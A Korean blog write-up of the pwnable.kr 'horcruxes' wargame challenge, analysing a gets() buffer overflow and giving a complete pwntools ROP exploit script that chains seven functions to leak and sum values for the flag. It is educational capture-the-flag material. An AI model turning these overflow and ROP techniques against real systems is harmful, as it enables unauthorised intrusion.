ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnkr] Horcruxes -> Write-up
    표튜터와 함께하는 Pwnable/Pwnable.kr Write-up 2019. 3. 29. 22:04

    이번 문제는 horcruxes이다!! Py0zz1의 추천으로 먼저 풀어보게 되었다!!

    해리포터 시리즈를 읽어봤다면 알 수 있는 그 호크룩스의 문제였다.(몰라도 풀 수 있음 ㅋ)

    볼드모트를 죽이기 위해서는 볼드모트의 영혼이 담긴 7개의 호크룩스를 부셔야하는데..



    코드를 보도록 하자!!



    readme 파일을 보면 우선 9032포트에 접근해서 바이너리를 실행해야함을 알 수 있었고

    rop를 이용해야지 flag를 읽을 수 있다는 힌트를 받을 수 있었다.




    프로그램을 실행시켜보니 메뉴에 대한 입력을 받고

    EXP(경험치)값을 또 받는다. 대충 1234를 입력해보니 볼트보트를 죽이기 위해서는

    더 많은 경험치가 필요해 보인다. 그러므로 저 경험치 값을 알아내야 이 문제를

    풀 수 있다는 것을 알 수 있었다.



    우선 분석을 위해 바이너리를 서버에서 다운로드 해보도록 하겠다.

    SCP를 사용해서 바이너리를 다운로드 했다.

    scp -P 포트번호 root@localhost:[복사할 파일 위치] [저장위치]



    다운로드한 파일을 IDA를 이용해서 열어보았다.

    32bit 바이너리이기 때문에 32bit용으로~~



    버퍼에서 SFP까지의 거리는 0x74 즉, 120이고 gets() 함수는

    입력받는 길이의 제한이 없으므로 BoF 취약점이 터지는 곳이라고 할 수 있다.




    init_ABCDEFG 함수를 보니 "/dev/urandom"에서 값을 읽어와서 랜덤하게

    전역변수 a, b, c, d, e, f, g의 공간에 저장하고 모든 합을 전역변수 sum에 저장했다. 




    또한 각각들의 값들은 모두 bss영역에 저장되었다.




    이 문제의 소스코드를 보았을 때 들었던 생각은 이전 LOB에서 풀었던

    윷놀이관련 문제와 비슷하다는 생각이 들었다. 연쇄적으로 도, 개, 걸, 윳,  함수를

    실행시켜서 풀었는데  이 문제 또한 A, B, C, D, E, F, G를 ret에 차례로 넣어서

    ROP하면 될 것 같았다. 그렇게 해당 함수가 돌 때마다 나오는 EXP를 다 더해서

    sum값을 맞춰주면 깔끔하게 flag를 얻어낼 수 있을 것이다.




    해당 함수들이 실행됬을 시의 출력문은 다음과 같다.


    < A() >


    < B() >


    < C() >


    < D() >


    < E() >


    < F() >


    < G() >

    모두 "(EXP +" 다음에 EXP값이 나온다. 이를 이용해서 Payload를 짜면 되겠고 




    나머지 함수의 주소값은 IDA로 쉽게 구할 수가 있었다.


    다시한번 Payload를 생각해보도록 하자!!

    1. 우선 gets()함수에서 버퍼오버플로우를 일으킨다. ret전까지 덮으려면 120개가 필요하다.

    2. ret값을 이용하여 A함수, B함수, ......G함수까지 연쇄적으로 실행시키면서 각각의 EXP의 합을 구한다.

    3. 다시 ropme 함수를 실행시켜서 합을 입력하여 flag값을 본다~



    -> 근데 문제는 ropme함수의 주소값이 0x080A0009이다.....쩝..

    0x00이 들어있으므로 제대로 값이 수행이 안된다. 다른 주소를 이용해야하는데

    이럴 때는 main함수에서 ropme를 호출하는 주소를 알아보면 된다.

    이걸 사용하면 깰끔하겠다~

    ropme = 0x0809FFFC

    이제 payload를 토대로 exploit 코드를 짜보도록 하겠다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    from pwn import *
     
    = ssh("horcruxes""pwnable.kr", port = 2222, password = "guest")
    = s.remote("localhost",9032)
     
    = 0x0809fe4b
    = 0x0809fe6a
    = 0x0809fe89
    = 0x0809fea8
    = 0x0809fec7
    = 0x0809fee6
    = 0x0809ff05
    ropme = 0x0809FFFC
     
    print p.recvuntil("Select Menu:")
    p.sendline("1")
    print p.recvuntil("How many EXP did you earned? : ")
    payload = "A"*120 
    payload += p32(a)
    payload += p32(b)
    payload += p32(c)
    payload += p32(d)
    payload += p32(e)
    payload += p32(f)
    payload += p32(g)
    payload += p32(ropme)
    p.sendline(payload)
     
    print p.recvuntil("EXP +")
    a_exp = p.recvuntil(")")[:-1]
    print "a_exp : "+str(a_exp)
     
    print p.recvuntil("EXP +")
    b_exp = p.recvuntil(")")[:-1]
    print "b_exp : "+str(b_exp)
     
    print p.recvuntil("EXP +")
    c_exp = p.recvuntil(")")[:-1]
    print "c_exp : "+str(c_exp)
     
    print p.recvuntil("EXP +")
    d_exp = p.recvuntil(")")[:-1]
    print "d_exp : "+str(d_exp)
     
    print p.recvuntil("EXP +")
    e_exp = p.recvuntil(")")[:-1]
    print "e_exp : "+str(e_exp)
     
    print p.recvuntil("EXP +")
    f_exp = p.recvuntil(")")[:-1]
    print "f_exp : "+str(f_exp)
     
    print p.recvuntil("EXP +")
    g_exp = p.recvuntil(")")[:-1]
    print "g_exp : "+str(g_exp)
     
    sum = int(a_exp)+int(b_exp)+int(c_exp)+int(d_exp)+int(e_exp)+int(f_exp)+int(g_exp)
    print "sum : "+str(sum)
    #ropme restart!! 
    print p.recvuntil("Select Menu:")
    p.sendline(str(sum))
    print p.recvuntil("How many EXP did you earned? : ")
    p.sendline(str(sum))
    print payload
     
    p.interactive()
    cs




    여기서 [:-1]의 의미는 뒤에서 첫 번째 문자라는 의미로 

    " ) "의 왼쪽 문자부터 전부 출력하라는 의미가 된다.



    [:-1]을 붙이기전의 p.recvuntil(")")의 형태이다.

    그러므로 [:-1]을 해주어서 숫자만 EXP변수의 값으로 넣어주는 것이다.




    위와 같이 진행하니 깔끔하게 답이 나왔다~~



    반응형

    '표튜터와 함께하는 Pwnable > Pwnable.kr Write-up' 카테고리의 다른 글

    [Pwnkr] Random Write-up  (0) 2019.04.01
    [Pwnkr] Passcode Write-up  (0) 2019.03.31
    [Pwnkr] Flag Write-up  (0) 2019.03.28
    [Pwnkr] Bof Write-up  (0) 2019.03.26
    [Pwnkr] Collision Write-up  (0) 2019.03.26

    댓글

Designed by Tistory.